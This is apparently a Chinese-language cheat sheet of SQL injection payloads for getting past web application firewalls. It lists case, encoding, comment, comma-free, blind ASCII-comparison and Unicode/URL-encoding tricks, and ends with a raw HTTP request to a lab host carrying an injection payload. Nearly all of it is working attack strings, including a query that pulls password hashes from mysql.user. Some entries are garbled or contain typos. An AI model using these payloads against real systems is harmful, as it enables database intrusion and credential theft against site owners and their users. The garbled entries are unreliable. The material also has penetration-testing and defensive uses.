欢迎观看

# 大小写绕过

将字符串设置为大小写,例如

and 1=1 转成 AND 1=1 AnD 1= 1

select * from users where id=1 UNION SELECT 1,2,3,4

select * from users where id=1 UniON SelECT 1,2,3,4

# [浮点数绕过注入]

select * from users where id=8E0union select 1,2,3,4;

select * from users where id=8.0union select 1,2,3,4

# NULL 值绕 过

select \N; \N 代表空

select * from users where id=\Nunion select 1,2,3,\N;

select * from users where id=\Nunion select 1,2,3,\Nfrom users;

# 引号绕过

如果 waf 拦截过滤单引号的时候,可以使用双引号 在 mysql 里也可以用双引号作为字符串。

select * from users where id=‘1’;

select * from users where id=“1”;

也可以将字符串转换成 16 进制 再进行查询。

select hex(‘admin’);

select * from users where username=‘admin’;

select * from users where username=0x61646D696E;

如果 gpc 开启了,但是注入点是整形 也可以用 hex 十六进制进行绕过

select * from users where id=-1 union select 1,2,(select group_concat(column_name) from {.rainbow}information_schema.columns where TABLE_NAME=‘users’ limit 1),4;

select * from users where id=-1 union select 1,2,(select group_concat(column_name) from {.rainbow}information_schema.columns where TABLE_NAME=0x7573657273 limit 1),4;

可以看到存在整型注入的时候 没有用到单引号 所以可以注入

# 添加库名绕过

以下两条查询语句,执行的结果是一致的,但是有些 waf 的拦截规则 并不会拦截 [库名].[表名] 这种模式。

select * from users where id=-1 union select 1,2,3,4 from users;

select * from users where id=-1 union select 1,2,3,4 from admin.us

mysql 中也可以添加库名查询表。例如跨库查询 mysql 库里的 usrs 表的内容。 select * from users where id=-1 union select 1,2,3,concat (user,authentication_string) from mysql.user;

# 去重复绕过

在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截

select * from users where id=-1 union distinct select 1,2,3,4 from users;

select * from users where id=-1 union distinct select 1,2,3,version() from users;

# 反引号绕过

在 mysql 可以使用 这里是反引号 绕过一些 waf 拦截。字段可以加反引号或者不加,意义相同。

insert into users(username,password,email)values(‘admin’,‘123456’,‘admin@admin.com’);

insert into users( username , password , email )values(‘admin’,‘123456’,‘admin@admin.com’);

# 脚本语言特性绕过

在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一 些 waf 的拦截。

id=1%00&id=2 union select 1,2,3

有些 waf 会去匹配第一个 id 参数 1%00 %00 是截断字符,waf 会自动截断 从而不会检测后面的内容。到了 程序中 id 就是等于 id=2 union select 1,2,3 从绕过注入拦截。 其他语言特性

# 逗号绕过

目前有些防注入脚本都会逗号进行拦截,例如常规注入中必须包含逗号

select * from users where id=1 union select 1,2,3,4;

一般会对逗号过滤成空 select * from users where id=1 union select 1 2 3 4; 这样 SQL 语句就会出错。 所以 可以不使用逗号进行 SQL

# substr 截取字符串

select(substr(database() from 1 for 1));

查询当前库第一个字符 查询 m 等于 select (substr (database () from 1 for 1)) 页面返回正常

select * from users where id=1 and ‘m’=(select(substr(database() from 1 for 1)));

可以进一步优化 m 换成 hex 0x6D 这样就避免了单引号

select * from users where id=1 and 0x6D=(select(substr(database() from 1 for 1)));

# [min 截取字符串]

这个 min 函数跟 substr 函数功能相同 如果 substr 函数被拦截或者过滤可以使用这个函数代替。

select mid (database () from 1 for 1); 这个方法如上。

select * from users where id=1 and ‘m’=(select(mid(database() from 1 for 1)));

select * from users where id=1 and 0x6D=(select(mid(database() from 1 for 1)));

# 使用 join 绕过

使用 join 自连接两个表 union select 1,2 #等价于 union select * from (select 1) a join (select 2) b a 和 b 分别是表的别名

select * from users where id=-1 union select 1,2,3,4;

select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select 3)c join(select 4)d;

select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select user())c join(select 4)d;

可以看到这里也没有使用逗号,从而绕过 waf

# [like 绕过]

使用 like 模糊查询 select user () like ‘% r%’; 模糊查询成功返回 1 否则返回 0 找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串 最后就是要查询的内容,这种 SQL 注 入语句也不会存在逗号。从而绕过 waf 拦截

# limit offset 绕过

SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目 limit 0,1 返回条一条记录 如果 对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返 回第一条记录,这样就绕过 waf

# [or and xor not 绕过]

目前主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2 id=0 xor 1=1 limit 1 、id=1 xor 1=2 对这些常见的 SQL 注入检测语句进行拦截。像 and 这些还有字符代替 字符如下

and 等于 &&

or 等于 ||

not 等于!

xor 等于 |

所以可以转换成这样

id=1 and 1=1 等于 id=1 && 1=1

id=1 and 1=2 等于 id=1 && 1=2

id=1 or 1=1 等于 id=1 || 1=1

id=0 or 1=0 等于 id=0 || 1=0

可以绕过一些 waf 拦截继续对注入点进行安全检测

也可以使用运算符号

id=1 && 2=1+1

id=1 && 2=1-1

# ascii 字符对比绕过

许多 waf 会对 union select 进行拦截 而且通常比较变态,那么可以不使用联合查询注入,可以使用字符 截取对比法,进行突破。

select substring(user(),1,1);

select * from users where id=1 and substring(user(),1,1)=‘r’;

select * from users where id=1 and ascii(substring(user(),1,1))=114;

最好把’r’换成成 ascii 码 如果开启 gpc int 注入就不能用了。 可以看到构造得 SQL 攻击语句没有使用联合查询 (union select) 也可以把数据查询出来

# [等号绕过]

如果程序会对 = 进行拦截 可以使用 like rlike regexp 或者使用 <或者>

select * from users where id=1 and ascii(substring(user(),1,1))<115;

select * from users where id=1 and ascii(substring(user(),1,1))>115;

select * from users where id=1 and (select substring(user(),1,1)like ‘r%’);

select * from users where id=1 and (select substring(user(),1,1)rlike ‘r’)

select * from users where id=1 and 1=(select user() regexp ‘^r’);

select * from users where id=1 and 1=(select user() regexp ‘^a’);

regexp 后面是正则

# [双关键词绕过]

有些程序会对单词 union、 select 进行转空 但是只会转一次这样会留下安全隐患。 双关键字绕过(若删除掉第一个匹配的 union 就能绕过)

id=-1’UNIunionONSeLselectECT1,2,3–+ 到数据库里执行会变成 id=-1’UNION SeLECT1,2,3–+ 从而绕过注入

# union select 绕过

目前不少 waf 都会使用都会对 union select 进行拦截 单个不拦截 一起就进行拦截。

针对单个关键词绕过 sel<>ect 程序过滤 <> 为空 脚本处理

sele//ct 程序过滤 // 为空

/!%53eLEct/url 编码与内联注释

se%0blect 使用空格绕过

sele% ct 使用百分号绕过

%53eLEct 编码绕过

大小写

uNIoN sELecT 1,2

union all select 1,2

union DISTINCT select 1,2

null+UNION+SELECT+1,2

/!union//!select/1,2

union//select//1,2

and(select 1)=(Select 0xA1000)/!uNIOn*//!SeLECt/ 1,user()

/!50000union//!50000select/1,2

/!40000union//!40000select/1,2

%0aunion%0aselect 1,2

%250aunion%250aselect 1,2

%09union%09select 1,2

%0caunion%0cselect 1,2

%0daunion%0dselect 1,2

%0baunion%0bselect 1,2

%0d%0aunion%0d%0aselect 1,2

–+%0d%0aunion–+%0d%0aselect–+%0d%0a1,–+%0d%0a2 /!12345union//!12345select/1,2;

/ 中文 /union/ 中文 /select/ 中文 / 1,2;

/* /union/ */select/ */1,2;

/!union//!00000all//!00000select/1,2

# Unicode 编码绕过

形式:“\u” 或者是 “% u” 加上 4 位 16 进制 Unicode 码值。

iis 会自动进行识别这种编码 有部分 waf 并不会拦截这这种编码

-1 union select 1,user()

部分转码

-1 uni%u006fn sel%u0065ct 1,user()

全部转码 {.rainbow}% u002d% u0031% u0020% u0075% u006e% u0069% u006f% u006e% u0020% u0073% u0065% u006c% u0065% u0063% u0074% u 0020% u0031% u002c% u0075% u0073% u0065% u0072% u0028% u0029

# url 编码绕过

在 iis 里会自动把 url 编码转换成字符串传到程序中执行。 例如 union select 可以转换成 u%6eion s%65lect 94

POST /06/vul/sqli/sqli_id.php

HTTP/1.1 Host: 192.168.0.165

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: {.rainbow}text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 47

Origin: http://192.168.0.165

Connection: close Referer: http://192.168.0.165/06/vul/sqli/sqli_id.php

Cookie: PHPSESSID=hk8r159en71pndlu3jvvphenn5

Upgrade-Insecure-Requests: 1

id=-1 union%25OAselect%25OA1,user()-- &submit=1